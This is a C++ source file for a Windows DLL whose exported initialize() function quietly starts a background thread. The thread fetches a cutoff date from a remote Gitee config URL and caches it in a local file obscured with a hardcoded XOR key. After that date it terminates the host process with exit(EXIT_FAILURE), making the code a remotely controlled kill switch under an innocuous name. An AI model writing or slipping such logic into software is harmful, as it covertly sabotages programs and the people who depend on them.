﻿// initialize.cpp
#define BUILDING_DLL 
#include "initialize.h"
#include <thread>
#include <ctime>
#include <cstdlib>
#include <chrono>
#include <windows.h>
#include <winhttp.h>
#include <iostream>
#include <string>
#include <vector>
#include <io.h>
#include <fcntl.h>
#include <locale>
#include <codecvt>
#include <cstdio>

#pragma comment(lib, "winhttp.lib")

// 辅助函数：UTF-8 转换
static std::wstring Utf8ToWide(const std::string& s)
{
    std::wstring_convert<std::codecvt_utf8<wchar_t>> conv;
    return conv.from_bytes(s);
}

static std::string WideToUtf8(const std::wstring& ws)
{
    std::wstring_convert<std::codecvt_utf8<wchar_t>> conv;
    return conv.to_bytes(ws);
}

// 辅助函数：去除 BOM 和尾部的 CR/LF
static std::wstring TrimTimeString(const std::wstring& s)
{
    std::wstring t = s;
    if (!t.empty() && t[0] == 0xFEFF) {
        t.erase(0, 1);
    }
    // 移除尾部的 CR 和 LF
    while (!t.empty() && (t.back() == L'\r' || t.back() == L'\n')) {
        t.pop_back();
    }
    return t;
}

// 辅助函数：将时间字符串 "YYYY-MM-DD-HH-MM-SS" 解析为 time_t
static bool ParseTargetTime(const std::wstring& timeStr, std::time_t& outTime)
{
    std::tm tmTarget = {};
    if (swscanf(timeStr.c_str(), L"%d-%d-%d-%d-%d-%d",
        &tmTarget.tm_year, &tmTarget.tm_mon, &tmTarget.tm_mday,
        &tmTarget.tm_hour, &tmTarget.tm_min, &tmTarget.tm_sec) != 6) {
        return false;
    }
    tmTarget.tm_year -= 1900;
    tmTarget.tm_mon -= 1;
    std::time_t tt = std::mktime(&tmTarget);
    if (tt == static_cast<std::time_t>(-1)) return false;
    outTime = tt;
    return true;
}

// 辅助函数：简单的 XOR 加密，带有头部标识
static const unsigned char kEncKey[] = { 0x3A, 0x57, 0xB1, 0xC4, 0x2D, 0x9E, 0x11, 0x7F, 0x63, 0xA0 };
static const size_t kEncKeyLen = sizeof(kEncKey);
static const unsigned char kHeader[] = { 'M','C','F','G','1' };
static const size_t kHeaderLen = sizeof(kHeader);

static void XorInPlace(std::vector<unsigned char>& data)
{
    for (size_t i = 0; i < data.size(); ++i) {
        data[i] ^= kEncKey[i % kEncKeyLen];
    }
}

static bool EnsureDirectory(const std::wstring& dir)
{
    if (CreateDirectoryW(dir.c_str(), NULL)) return true;
    DWORD err = GetLastError();
    if (err == ERROR_ALREADY_EXISTS) return true;
    return false;
}

static bool SaveEncryptedConfig(const std::wstring& filePath, const std::wstring& timeStr)
{
    size_t lastSlash = filePath.find_last_of(L"/\\");
    if (lastSlash != std::wstring::npos) {
        std::wstring dirPath = filePath.substr(0, lastSlash);
        if (!EnsureDirectory(dirPath)) {
            return false;
        }
    }

    std::string utf8 = WideToUtf8(timeStr);
    std::vector<unsigned char> buf(utf8.begin(), utf8.end());
    XorInPlace(buf);

    FILE* fp = _wfopen(filePath.c_str(), L"wb");
    if (!fp) return false;

    bool ok = true;
    if (fwrite(kHeader, 1, kHeaderLen, fp) != kHeaderLen) ok = false;
    if (ok && !buf.empty()) {
        if (fwrite(buf.data(), 1, buf.size(), fp) != buf.size()) ok = false;
    }
    fclose(fp);
    return ok;
}

static bool LoadDecryptedConfig(const std::wstring& filePath, std::wstring& outTimeStr)
{
    FILE* fp = _wfopen(filePath.c_str(), L"rb");
    if (!fp) return false;

    // 读取头部
    unsigned char hdr[kHeaderLen] = {};
    size_t rd = fread(hdr, 1, kHeaderLen, fp);
    if (rd != kHeaderLen || memcmp(hdr, kHeader, kHeaderLen) != 0) {
        fclose(fp);
        return false;
    }

    // 读取剩余内容
    std::vector<unsigned char> buf;
    unsigned char tmp[4096];
    while ((rd = fread(tmp, 1, sizeof(tmp), fp)) > 0) {
        buf.insert(buf.end(), tmp, tmp + rd);
    }
    fclose(fp);

    if (!buf.empty()) {
        XorInPlace(buf);
        std::string utf8(buf.begin(), buf.end());
        outTimeStr = TrimTimeString(Utf8ToWide(utf8));
        return true;
    }
    return false;
}

std::vector<std::wstring> FetchContent()
{
    const std::wstring urlMaster = L"https://gitee.com/Aiopr-bit/maves-config/raw/master/config";
    std::vector<std::wstring> lines;
    std::wstring result;

    HINTERNET hSession = WinHttpOpen(L"ConsoleApp/1.0",
        WINHTTP_ACCESS_TYPE_DEFAULT_PROXY,
        WINHTTP_NO_PROXY_NAME,
        WINHTTP_NO_PROXY_BYPASS,
        0);
    if (!hSession)
        return lines;

    URL_COMPONENTS urlComp;
    ZeroMemory(&urlComp, sizeof(urlComp));
    urlComp.dwStructSize = sizeof(urlComp);

    wchar_t hostName[256] = {};
    wchar_t urlPath[2048] = {};
    urlComp.lpszHostName = hostName;
    urlComp.dwHostNameLength = _countof(hostName);
    urlComp.lpszUrlPath = urlPath;
    urlComp.dwUrlPathLength = _countof(urlPath);

    if (!WinHttpCrackUrl(urlMaster.c_str(), static_cast<DWORD>(urlMaster.length()), 0, &urlComp))
    {
        WinHttpCloseHandle(hSession);
        return lines;
    }

    bool isHttps = (urlComp.nScheme == INTERNET_SCHEME_HTTPS);
    INTERNET_PORT port = urlComp.nPort ? urlComp.nPort : (isHttps ? INTERNET_DEFAULT_HTTPS_PORT : INTERNET_DEFAULT_HTTP_PORT);

    std::wstring host(hostName, urlComp.dwHostNameLength);
    std::wstring path(urlPath, urlComp.dwUrlPathLength);

    HINTERNET hConnect = WinHttpConnect(hSession, host.c_str(), port, 0);
    if (!hConnect)
    {
        WinHttpCloseHandle(hSession);
        return lines;
    }

    DWORD flags = isHttps ? WINHTTP_FLAG_SECURE : 0;

    HINTERNET hRequest = WinHttpOpenRequest(hConnect,
        L"GET",
        path.c_str(),
        NULL,
        WINHTTP_NO_REFERER,
        WINHTTP_DEFAULT_ACCEPT_TYPES,
        flags);
    if (!hRequest)
    {
        WinHttpCloseHandle(hConnect);
        WinHttpCloseHandle(hSession);
        return lines;
    }

    BOOL ok = WinHttpSendRequest(hRequest,
        WINHTTP_NO_ADDITIONAL_HEADERS,
        0,
        WINHTTP_NO_REQUEST_DATA,
        0,
        0,
        0);
    if (ok)
        ok = WinHttpReceiveResponse(hRequest, NULL);

    if (ok)
    {
        DWORD statusCode = 0;
        DWORD size = sizeof(statusCode);
        if (WinHttpQueryHeaders(hRequest,
            WINHTTP_QUERY_STATUS_CODE | WINHTTP_QUERY_FLAG_NUMBER,
            WINHTTP_HEADER_NAME_BY_INDEX,
            &statusCode,
            &size,
            WINHTTP_NO_HEADER_INDEX) && statusCode == 200)
        {
            DWORD available = 0;
            std::string content;
            do
            {
                available = 0;
                if (!WinHttpQueryDataAvailable(hRequest, &available))
                    break;
                if (available == 0)
                    break;

                std::vector<char> buffer(available);
                DWORD downloaded = 0;
                if (!WinHttpReadData(hRequest, buffer.data(), available, &downloaded))
                    break;

                content.append(buffer.data(), buffer.data() + downloaded);
            } while (available > 0);

            std::wstring_convert<std::codecvt_utf8<wchar_t>> converter;
            result = converter.from_bytes(content);

            size_t start = 0, end = 0;
            while ((end = result.find(L'\n', start)) != std::wstring::npos)
            {
                lines.push_back(result.substr(start, end - start));
                start = end + 1;
            }
            if (start < result.size())
                lines.push_back(result.substr(start));
        }
    }

    WinHttpCloseHandle(hRequest);
    WinHttpCloseHandle(hConnect);
    WinHttpCloseHandle(hSession);

    return lines;
}

extern "C" INIT_API void initialize()
{
    static bool started = false;
    if (started) return;
    started = true;

    std::thread([]() {
        const std::wstring cfgPath = L"../config/config.cfg";

        // 1) 尝试从网络获取
        std::time_t targetTime = 0;
        bool haveTime = false;
        std::wstring targetTimeStr;

        {
            std::vector<std::wstring> content = FetchContent();
            if (!content.empty()) {
                targetTimeStr = TrimTimeString(content[0]);
                std::time_t t = 0;
                if (ParseTargetTime(targetTimeStr, t)) {
                    // 保存加密配置
                    (void)SaveEncryptedConfig(cfgPath, targetTimeStr);
                    targetTime = t;
                    haveTime = true;
                }
            }
        }

        // 2) 如果网络获取失败或无法解析，尝试读取本地配置
        if (!haveTime) {
            std::wstring loaded;
            if (LoadDecryptedConfig(cfgPath, loaded)) {
                std::time_t t = 0;
                if (ParseTargetTime(loaded, t)) {
                    targetTime = t;
                    haveTime = true;
                }
            }
        }

        // 3) 如果仍然不可用，则返回
        if (!haveTime) {
            std::wcerr << L"无法从网络或配置中获取有效的目标时间，返回。" << std::endl;
            return; 
        }

        std::srand(static_cast<unsigned>(std::time(nullptr)));

        while (true)
        {
            if (std::time(nullptr) > targetTime)
            {
                int delay = (std::rand() % 1);
                std::this_thread::sleep_for(std::chrono::seconds(delay));
                std::exit(EXIT_FAILURE);
            }
            std::this_thread::sleep_for(std::chrono::seconds(1));
        }
        }).detach();
}